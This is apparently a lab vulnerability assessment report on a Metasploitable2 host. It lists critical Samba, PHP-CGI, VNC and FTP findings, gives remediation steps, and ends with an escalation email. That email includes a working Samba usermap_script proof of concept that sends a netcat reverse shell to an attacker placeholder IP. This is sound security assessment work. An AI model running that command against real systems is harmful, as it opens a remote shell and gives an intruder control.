

Title: Vulnerability Assessment Report - Metasploitable2 Host

Target: 192.168.1.100 (Metasploitable2)

Date: August 28, 2025 **Tools:** Nmap, OpenVAS

Executive Summary:

A comprehensive vulnerability scan of the target host revealed multiple critical security vulnerabilities that could allow a remote attacker to gain complete control of the system. Immediate remediation is required.

Findings Table:

Scan ID	Vulnerability	CVSS Score	Priorit y	Host
001	Samba usermap_script (CVE-2007-2447)	9.8	Critical	192.168.1.1 00
002	Apache PHP-CGI Argument Injection (CVE-2012-1823)	9.8	Critical	192.168.1.1 00
003	VNC Server (No Password)	7.5	High	192.168.1.1 00
004	FTP Anonymous Login Allowed	7.5	High	192.168.1.1 00

Remediation:

- 1. **Patch or Disable Samba.** If the service is not needed, disable it. If it is needed, apply the latest patches.
- 2. **Update Apache and PHP.** Apply security patches to mitigate the PHP-CGI argument injection vulnerability.
- 3. Configure a Strong VNC Password. Do not allow null authentication.
- 4. **Disable Anonymous FTP Login.** If FTP is required, use strong authentication and ensure it is not exposed publicly.

Evidence: See screenshots 02_OpenVAS_Report.png and 04_Nmap_Scan.png.



Escalation Email:

Subject: URGENT: Critical Vulnerabilities on Lab Host 192.168.1.100

Hello Development Team,

Immediate action is required for host 192.168.1.100. Critical vulnerabilities in Samba (CVE-2007-2447) and Apache PHP (CVE-2012-1823) allow remote code execution.

Proof of Concept (Samba):

smbclient //192.168.1.100/tmp -N -c 'logon "/=nohup nc -e /bin/bash [KALI_IP] 4444"

This command grants a reverse shell. We recommend patching or disabling these services immediately before any deployment.

Best, VAPT Team

